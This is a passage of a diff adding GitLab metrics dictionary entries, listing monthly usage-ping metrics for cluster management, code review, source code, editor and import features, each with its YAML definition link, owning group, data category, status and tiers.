+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175409_clusters_applications_ingress.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.clusters_applications_knative`
+
+Total GitLab Managed clusters with Knative enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.clusters_disabled`
+
+Total GitLab Managed disabled clusters
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175415_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.clusters_enabled`
+
+Total GitLab Managed clusters currently enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175417_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.clusters_management_project`
+
+Number of Kubernetes clusters with clusters management project being set
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175413_clusters_management_project.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.clusters_platforms_eks`
+
+Total GitLab Managed clusters provisioned with GitLab on AWS EKS
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.clusters_platforms_gke`
+
+Total GitLab Managed clusters provisioned with GitLab on GCE GKE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.clusters_platforms_user`
+
+Total GitLab Managed clusters that are user provisioned
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.group_clusters_disabled`
+
+Total GitLab Managed disabled clusters attached to groups
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.group_clusters_enabled`
+
+Total GitLab Managed enabled clusters attached to groups
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.instance_clusters_disabled`
+
+Total GitLab Managed disabled clusters attached to the instance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.instance_clusters_enabled`
+
+Total GitLab Managed enabled clusters attached to the instance
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.project_clusters_disabled`
+
+Total GitLab Managed disabled clusters attached to projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.project_clusters_enabled`
+
+Total GitLab Managed enabled clusters attached to projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.projects_slack_notifications_active`
+
+Unique projects created in the past 28 days that have Slack notifications enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175436_projects_slack_notifications_active.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.projects_slack_slash_active`
+
+Unique projects created in the past 28 days that have Slack ‘/’ commands enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175437_projects_slack_slash_active.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.configure.projects_with_prometheus_alerts`
+
+Projects with Prometheus alerting enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.action_monthly_active_users_design_management`
+
+Monthly active users for design management
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.action_monthly_active_users_git_write`
+
+Aggregated value for wiki, design, and project repo Git write actions
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182041_action_monthly_active_users_git_write.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.action_monthly_active_users_ide_edit`
+
+Number of unique users per month who edited a file from any web editor
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.action_monthly_active_users_project_repo`
+
+Count of monthly active users who have performed any Git operation (read/write/push)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.action_monthly_active_users_sfe_edit`
+
+Number of users using single file editor
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.action_monthly_active_users_snippet_editor_edit`
+
+Number of users using the snippet editor
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.action_monthly_active_users_sse_edit`
+
+Number of users using the static site editor
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.action_monthly_active_users_web_ide_edit`
+
+Number of users editing using web IDE
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.action_monthly_active_users_wiki_repo`
+
+Unique monthly active users of the Wiki
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.approval_project_rules`
+
+Total number of project approval rules
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182056_approval_project_rules.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.approval_project_rules_with_exact_required_approvers`
+
+Number of approval rules with the exact number of required approvers.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183622_approval_project_rules_with_exact_required_approvers.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.approval_project_rules_with_less_approvers_than_required`
+
+Number of approval rules with fewer approvers than required.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183620_approval_project_rules_with_less_approvers_than_required.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.approval_project_rules_with_more_approvers_than_required`
+
+Number of approval rules with more approvers than required.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183618_approval_project_rules_with_more_approvers_than_required.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.approval_project_rules_with_target_branch`
+
+Number of project approval rules scoped to a specific repo branch.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182058_approval_project_rules_with_target_branch.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.deploy_keys`
+
+Count of users creating deploy keys in last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182034_deploy_keys.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.keys`
+
+Count of users creating regular keys in last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182036_keys.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.merge_requests`
+
+Count of the number of users creating merge requests
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175055_merge_requests.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.merge_requests_users`
+
+Monthly count of the number of merge request users
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175101_merge_requests_users.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.merge_requests_with_added_rules`
+
+Merge requests with added rules
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175103_merge_requests_with_added_rules.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.merge_requests_with_optional_codeowners`
+
+Count of merge requests with optional codeowner approval rules
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175105_merge_requests_with_optional_codeowners.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.merge_requests_with_overridden_project_rules`
+
+Number of merge requests which have overriden rules created at the project level
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182047_merge_requests_with_overridden_project_rules.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.merge_requests_with_required_codeowners`
+
+Count of merge requests with required codeowner approval rules
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175107_merge_requests_with_required_codeowners.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.projects_enforcing_code_owner_approval`
+
+Count of total projects that require approval by code owners for code changes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182043_projects_enforcing_code_owner_approval.yml)
+
+Group: `group::source code`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.projects_imported_from_github`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180731_projects_imported_from_github.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.create.projects_with_disable_overriding_approvers_per_merge_request`
+
+Count of the number of projects with setting to disable overriding approvers per merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175057_projects_with_disable_overriding_approvers_per_merge_request.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.projects_with_repositories_enabled`
+
+Count of users creating projects that have a matching Git repository, result of a Git push action, for last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182049_projects_with_repositories_enabled.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.projects_with_sectional_code_owner_rules`
+
+Count of projects using code owners with code owners section feature
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182045_projects_with_sectional_code_owner_rules.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.projects_without_disable_overriding_approvers_per_merge_request`
+
+Count of the number of projects without setting to disable overriding approvers per merge request
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175059_projects_without_disable_overriding_approvers_per_merge_request.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.protected_branches`
+
+Count of users creating projects with repositories making use of at least one protected branch in last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182051_protected_branches.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.remote_mirrors`
+
+Count of users creating projects with remote mirrors. Includes both push and pull mirrors.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182038_remote_mirrors.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.snippets`
+
+Count of distinct author_id from snippets for last 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180317_snippets.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.suggestions`
+
+Count of unique users per month who create suggestions in merge request comments
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175109_suggestions.yml)
+
+Group: `group::code review`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.total_number_of_locked_files`
+
+The total number of files which have been locked via the GitLab UI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183614_total_number_of_locked_files.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.total_number_of_path_locks`
+
+Number of paths/directories manually locked through the UI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183613_total_number_of_path_locks.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.users_using_lfs_locks`
+
+Number of unique users who have locked files or directories using LFS via the command line
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182054_users_using_lfs_locks.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.create.users_using_path_locks`
+
+Number of users creating path_locks in last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182053_users_using_path_locks.yml)
+
+Group: `group::source code`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.enablement.geo_secondary_web_oauth_users`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.bulk_imports.gitlab`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183640_gitlab.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.bulk_imports.gitlab_v1`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183642_gitlab_v1.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.compliance_frameworks_with_pipeline`
+
+Count of compliance frameworks that have a pipeline configuration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210622091519_compliance_frameworks_with_pipeline.yml)
+
+Group: `compliance`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.custom_compliance_frameworks`
+
+Monthly count of all custom compliance framework labels
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210507165054_custom_compliance_frameworks.yml)
+
+Group: `compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.events`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180814_events.yml)
+
+Group: `group::manage`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.group_imports.gitlab_migration`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183711_gitlab_migration.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.group_imports.group_import`
+
+Number of group import states
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183709_group_import.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.group_saml_enabled`
+
+Whether group SAML is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180833_group_saml_enabled.yml)
+
+Group: `group:access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.groups`
+
+Number of users who are group members for last 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216180816_groups.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.groups_imported`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183737_groups_imported.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.issue_imports.csv`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183707_csv.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.issue_imports.fogbugz`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183703_fogbugz.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.issue_imports.jira`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183701_jira.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.issue_imports.phabricator`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183705_phabricator.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.issues_imported.csv`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183735_csv.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.issues_imported.fogbugz`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183731_fogbugz.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.issues_imported.jira`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183730_jira.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.issues_imported.phabricator`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183733_phabricator.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`
+
+### `usage_activity_by_stage_monthly.manage.ldap_admin_sync_enabled`
+
+Whether LDAP admin sync is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180831_ldap_admin_sync_enabled.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.ldap_group_sync_enabled`
+
+Has the instance configured [LDAP Group Sync](https://docs.gitlab.com/ee/administration/auth/ldap/#group-sync)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/settings/20210216180829_ldap_group_sync_enabled.yml)
+
+Group: `group::acess`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.ldap_keys`
+
+Number of users creating keys synced as part of LDAP for last 28 days.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180820_ldap_keys.yml)
+
+Group: `group::acess`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.ldap_servers`
+
+Number of LDAP servers configured
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180827_ldap_servers.yml)
+
+Group: `group::manage`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.ldap_users`
+
+Number of users that are linked to LDAP
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216180822_ldap_users.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.omniauth_providers`
+
+Number of unique user logins using an OmniAuth provider
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183627_omniauth_providers.yml)
+
+Group: `group::access`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.bitbucket`
+
+Count of projects imported from Bitbucket
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183650_bitbucket.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.bitbucket_server`
+
+Count of projects imported from Bitbucket Server
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183652_bitbucket_server.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.git`
+
+Count of projects imported from Git
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183655_git.yml)
+
+Group: `group::import`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `usage_activity_by_stage_monthly.manage.project_imports.gitea`
+
+Count of projects imported from Gitea
+
